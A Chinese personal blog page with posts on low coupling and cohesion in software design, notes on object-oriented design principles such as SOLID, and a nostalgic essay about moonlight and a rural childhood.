“低耦合”这个词相信大家已经耳熟能详,我们在看spring的书籍、MVC的数据、设计模式的书籍,无处不提到“低耦合、高内聚”,它已经成为软件设计质量的标准之一。那么什么是低耦合?耦合就是对某元素与其它元素之间的连接、感知和依赖的量度。这里所说的元素,即可以是功能、对象(类),也可以指系统、子系统、模块。假如一个元素A去连接元素B,或者通过自己的方法可以感知B,或者当B不存在的时候就不能正常工作,那么就说元素A与元素B耦合。耦合带来的问题是,当元素B发生变更或不存在时,都将影响元素A的正常工作,影响系统的可维护性和易变更性。同时元素A只能工作于元素B存在的环境中,这也降低了元素A的可复用性。正因为耦合的种种弊端,我们在软件设计的时候努力追求“低耦合”。低耦合就是要求在我们的软件系统中,某元素不要过度依赖于其它元素。请注意这里的“过度”二字。系统中低耦合不能过度,比如说我们设计一个类可以不与JDK耦合,这可能吗?除非你不是设计的Java程序。再比如我设计了一个类,它不与我的系统中的任何类发生耦合。如果有这样一个类,那么它必然是低内聚(关于内聚的问题我随后讨论)。耦合与内聚常常是一个矛盾的两个方面。最佳的方案就是寻找一个合适的中间点。

哪些是耦合呢?

1.元素B是元素A的属性,或者元素A引用了元素B的实例(这包括元素A调用的某个方法,其参数中包含元素B)。

2.元素A调用了元素B的方法。

3.元素A 没有评论 »

设计模式的一点笔记

二月 11, 2009 | 软件工程/编程技巧/设计模式 | RSS 2.0

概念层:对象是某种拥有责任的抽象
规格层面:对象是一系列可以对其它对象使用的公共接口
语言层面:对象封装了代码和数据,状态和行为
怎样设计好的
遵循一定的面向对象原则
熟悉一些典型的马面想对象的设计模式
原则:
从设计原则到设计模式:
1 针对接口编程,而不是针对实现编程
2优先使用对象组合,而不是类继承,破坏封装性。子类父类耦合度搞。
只有符合isa的关系才使用继承
类继承:白箱复用,对象组合:黑箱复用,耦合度低
3 封装变化点
使用封装来创建对象之间的分界层,让设计者可以在分界层的一侧进行修改,而不会对另一侧长城不良的
影响,从而实现层次见的松耦合
设计原则
1 单一职责原则(srp)
一个类应该仅有一个引起它变化的原因
2 开放封闭原则(ocp)
类模块应该是可扩展的,但是不可修改的(对外扩展开发,对更改封闭)
3 liskov替换原则(lsp)
子类必须能够替换他们的基类 is-a 的关系
4 依赖倒置原则(dip)
高层模块不应该底层模块,二者都应该依赖于抽象
抽象不应该依赖于实现细节,实现细节应该依赖与抽象
5 接口隔离原则(isp)
不应该强迫客户程序依赖他们不用的方法

那里有变化,就封装那里,在变化和不变化之间形成一个隔离。这样就封装了变化,隔离了变化

没有评论 »

寻找那一片月光

二月 8, 2009 | 心情杂记 | RSS 2.0

        明天是正月十五,今天出去遛弯,看到了久违的月光。甚是亲切新鲜。且数现在一年中晚上能抬头看看夜空的时间不会超过10次,尤其是在大城市里。钢筋混泥土的世界,无休止的工作,很少能让我有闲情逸致去太头看看那片月光。记得夏天小时候特喜欢睡在外面,晚上躺在外面睁眼就是浩瀚的夜空,眨眼的星星,皎洁的月亮。喜欢那样的感觉,空旷,相信好多人和我一样会喜欢那些浩瀚的东西,一眼望不到边的草原,无边无际的海洋,都是我向往的。记得小时候躺在外面,感觉好像是自己拥有了整个世界。还记得那时候学习了数星星的孩子张衡,我有时候也试着去数,然后就不知不觉中睡着了。还记得爷爷经常给我讲故事。睡觉前都要给我们讲点,记得一个讲的是八仙过海里的铁拐李是 怎么瘸的。。。。。。就是这些构成了我的童年。农村里长大的孩子的童年也只有这些,没有游戏机,没有书让你去阅读,只有是放学后和伙伴们玩,然后有时候去放羊。有时候去捥草。喜欢春天的时候,那时候我们好玩的就多了,比如可以去吹鼻牛(我们就怎么说),其实就是把柳树发的新枝取下一截然后就可以吹了,还有好多好多,可以去做叫什么绵绵贼等回家喂小鸡。乡村的童年中有那些令我难以忘怀的好多东西。
       现在虽然在城市里有了份工作,但还是想去过上那种悠闲,清净的乡村生活,但是现在的村里已经和我们那时候大不一样了。在这里每天都是这些生活,不过比较好的是自己可以学习,想干点什么就干点什么,在大城市里总有些有套中人的感觉。也许我要去适应。也许是年龄的增长,我们又到了一个新的驿站。我该如何走好这条路呢。对我来说固然我身上缺少很多优秀的品质,需要去历练,去学习。
     乡村的那片月光与我儿时相伴,如今还是那片月光,但我已经大不同了。愿自己能找到自己一片新的月光。
不断的把自己推上一个绝路,逆境才能让自己学到 更多的东西。

没有评论 »